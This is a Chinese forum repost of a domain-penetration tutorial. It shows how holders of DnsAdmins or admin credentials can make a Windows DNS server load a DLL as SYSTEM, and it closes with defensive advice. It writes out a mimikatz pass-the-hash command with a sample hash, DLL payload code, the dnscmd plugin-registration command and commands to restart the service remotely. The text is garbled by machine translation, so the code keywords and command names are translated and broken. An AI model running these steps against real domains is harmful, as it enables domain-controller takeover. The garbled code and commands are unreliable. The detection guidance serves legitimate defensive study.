轩辕三官 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 Shay Ber公开的一种利用方法,在域环境下,使用DNSAdmin权限可以实现在DNS服务器上远程加载Dll。这不是漏洞,但可以作为域渗透技能。本文将根据自己的经验对这个利用技巧进行梳理,补充自己的理解,并根据利用思路给出防御建议。 参考资料: https://medium . com/@ esnesenon/feature-not-bug-dnsadmin-to-DC-compromise-in-one-line-a0f 779 b 8dc 83 0x01 简介 本文将介绍以下内容: 详细利用方法 防御思维 0x02 详细利用方法 利用条件: 获取域中DnsAdmins、Domain Admins或Enterprise Admins组中用户的密码或哈希。 注: 默认情况下,不仅可以配置DnsAdmins组中的用户,还可以配置域管理员或企业管理员组中的用户。 1、查看关键组内的用户 查看所有组: 网络组/域 要查看DnsAdmins组中的用户: 不能用net group命令查看,但可以用PowerView查看。 导入模块。\PowerView.ps1 get-net group member-group name ' DNS admins ' 要查看域管理员组中的用户: 网络组“域管理员”/域 要查看企业管理员组中的用户: 网络组“企业管理员”/域 2、获得关键用户的口令或者hash 您需要获得DnsAdmins、域管理员或企业管理员组中任何用户的密码或哈希。 3、准备Payload.dll 您需要定义三个导出函数: DnsPluginInitialize DnsPluginCleanup DnsPluginQuery 可以参考前面的开源项目来定义导出功能: https://github.com/3gstudent/Add-Dll-Exports 这里通过def文件声明导出函数,测试代码如下: dllmain.cpp: DWORD WINAPI DnsPluginInitialize(PV oid a1,PVOID a2) { 返回0; } DWORD WINAPI DnsPluginCleanup() { 返回0; } DWORD WINAPI DnsPluginQuery(PVOID a1、PVOID a2、PVOID a3、PVOID a4) { WinExec('calc.exe ',SW _ show normal); 返回0; } BOOL API entry DllMain(HMODULE HMODULE, 呼叫的原因, LPVOID lpReserved ) { 开关(ul_reason_for_call) { 案例DLL_PROCESS_ATTACH: 案例DLL_THREAD_ATTACH: 案例DLL_THREAD_DETACH: 案例DLL_PROCESS_DETACH: 打破; } 返回TRUE }。定义文件: 出口 DnsPluginInitialize DnsPluginCleanup DnsPluginQuery 生成testdns.dll 4、Payload.dll保存的位置 需要由DNS服务器远程访问 在这里可以使用域中的共享文件夹SYSVOL,默认情况下所有域用户都可以访问。 更多详情请参考之前的文章:《域渗透——利用SYSVOL还原组策略中保存的密码》 我的测试域环境名是test.com,域中的共享文件夹路径是:\ \ test.com \ sysvol \ test.com \ scripts \ testdns.dll。 5、准备dnsadmin 通常,域中的Windows主机不支持dnsadmin命令。 默认安装的系统: Windows Server 2003 Windows Server 2008 Windows Server 2003 R2 Windows Server 2008 R2版 Windows Server 2012 带有SP1的Windows Server 2003 … 参考资料: https://docs . Microsoft . com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-和-2012/cc772069(v=ws.11) Win7系统在使用时需要安装远程服务器管理工具(rsat)。 下面介绍了在没有远程服务器管理工具(rsat)的系统上执行dnscmd命令的方法: (1)将dnscmd.exe保存在C:\Windows\System32下 可用下载地址: https://github.com/3gstudent/test/blob/master/dnscmd.exe (2)将dnscmd.exe.mui保存在C:\Windows\System32\en-US下 可用下载地址: https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui 注: 和dnscmd.exe dnscmd . exe . mui是在我的测试系统(Windows Server 2008 R2x64)中获得的。 详情请参考之前的文章《域渗透——DNS记录的获取》。 6、启动dnscmd Dnscmd不支持远程操作输入凭证的功能,但是这里需要mimikatz的Over pass hash函数。 测试环境已经获得了关于关键用户的以下信息: 用户名:管理员 密码:DomainAdmin456! 哈希:a55e 0720 f 0041193632 a 58 e 007624 b 40 在命令行下执行: mimikatz.exe特权:debug ' sekurlsa:PTH/user:Administrator/domain:test . com/NTLM:a55e 0720 f 0041193632 a 58e 007624 b 40 ' 这将弹出一个cmd.exe,并在cmd.exe中执行dnscmd命令。 也可以实现自动输入: 在命令行下执行: mimikatz.exe特权*调试' sekurlsa:PTH/用户:管理员/域:测试。com/NTLM:a55e 0720 f 0041193632 a 58e 007624 b 40/run:' cmd。exe/c:\ test \ 1。蝙蝠” c:\test\1.bat中保存dnscmd的命令 7、使用dnscmd命令 域名服务器(域名服务器)服务器的IP:192.168.10.1 命令行执行: dnscmd 192。168 .10 .1/config/serverlevelplugindll \ \ test。com \ SYSVOL \ test。com \ scripts \ test DNS。动态链接库 对于域名服务器(域名服务器)服务器来说,此时会新建一个注册表项 位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\ services \ DNS \ Parameters \ ServerLevelPluginDll 注册_SZ \ \测试。com \ SYSVOL \ test。com \ scripts \ testdns。动态链接库 8、重启DNS服务后会加载dll 等待域名服务器(域名服务器)服务器重启 或者远程重启域名服务器(域名服务器)服务器: sc \\192.168.10.1停止十进位计数制 sc \\192.168.10.1启动十进位计数制 域名服务器(域名服务器)服务器的后台进程如下图 dns.exe将会多次调用testdns.dll,权限为系统 9、实际利用 实际环境中,通常域名服务器(域名服务器)服务器和域控制器是同一台主机 0x03 防御建议 1、控制权限 避免关键用户凭据被攻击者获得 这里可以使用PowerView查看关键用户登陆过哪些主机 导入模块. PowerView.ps1 调用-用户猎人-用户名管理员用户 2、监控和设置注册表 位置:KEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\ services \ DNS \ Parameters \ 利用dnscmd在域名服务器(域名服务器)服务器上实现远程加载动态链接库时,会以系统权限修改注册表,如果修改注册表HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\服务\ DNS \参数\的ACL(访问控制列表),删除系统用户的给定值权限,能够阻止这个方法的利用 如下图 但有可能影响其他正常功能,该注册表项下的其他键值信息如下: HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\服务\ DNS \参数 GlobalQueryBlockList REG _ MULTI _ SZ wpad \ 0 isatap EnableGlobalQueryBlockList REG _ DWORD0x 1 前一个本地主机名注册_ SZ WIN-F08C969D7FM.test.com BootMethod REG_DWORD0x3 AdminConfigured REG_DWORD0x1 3、查看日志 (1)记录DNS服务的启动和停止 位置:应用程序和服务日志-域名系统服务器 命令行查看: wevtutil qe的dns服务器/rd:true /f:text 身份证明为2代表域名服务器(域名服务器)服务启动,ID为四代表域名服务器(域名服务器)服务关闭 (2)记录添加Dll的操作 需要使用增强版的域名服务器(域名服务器)日志记录和诊断功能,服务器2016默认支持,服务器2012需要安装补丁2956577 参考文档: https://份文件。微软。com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn 800669(v=ws。11) 补丁说明: https://支持。微软。com/en-us/help/2956577/update-adds-query-log-and-change-audit-to-windows-DNS-servers 补丁下载: https://www.catalog.update.microsoft.com/Search.aspx?q=2956577 添加动态链接库的操作会产生身份证明为541的日志 0x04 小结 本文介绍了利用dnscmd在域名服务器(域名服务器)服务器上实现远程加载动态链接库的方法,结合利用思路给出防御建议。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子